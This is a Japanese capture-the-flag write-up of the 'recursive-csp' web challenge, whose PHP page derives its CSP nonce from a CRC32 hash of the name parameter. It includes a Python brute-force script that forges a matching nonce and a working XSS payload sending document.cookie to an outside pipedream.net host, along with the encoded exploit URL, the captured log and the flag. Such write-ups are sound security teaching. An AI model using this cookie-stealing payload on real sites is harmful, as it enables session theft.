web/recursive-csp
strellic

the nonce isn't random, so how hard could this be?

(the flag is in the admin bot's cookie)

Webページのソースは次の通り。
<?php
  
if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  
$name "world";
  if (isset(
$_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    
$name $_GET["name"];
  }

  
$nonce hash("crc32b"$name);
  
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>
nameに<script>タグを入れてXSSを発生させる。Content-Security-Policyのscript-srcのnonce値を合わせておく必要がある。
次のプログラムでnonce値が00000000になる入力値を求める。
import binascii
import string
import itertools

for i in range(1, 10):
    print(i)
    for s in itertools.permutations(string.ascii_lowercase, i):
        ss = "".join(s)
        name = '<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>' + ss
        h = binascii.crc32(name.encode())
        if h==0:
            print(name)
            exit()
少し時間がかかるが実行すると次の結果が得られる。
1
2
3
4
5
6
7
<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>ndvimpy
次のようにURLエンコードしてadmin botに入力するとCookieの情報を読み取ることができる。
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2200000000%22%3Edocument.location=%22https://enxsx38x468t.x.pipedream.net/?s=%22%20%2b%20document.cookie%3C/script%3Endvimpy
RequestBinに次のログが残る。
GET/?s=flag=dice{h0pe_that_d1dnt_take_too_l0ng}
フラグは、
dice{h0pe_that_d1dnt_take_too_l0ng}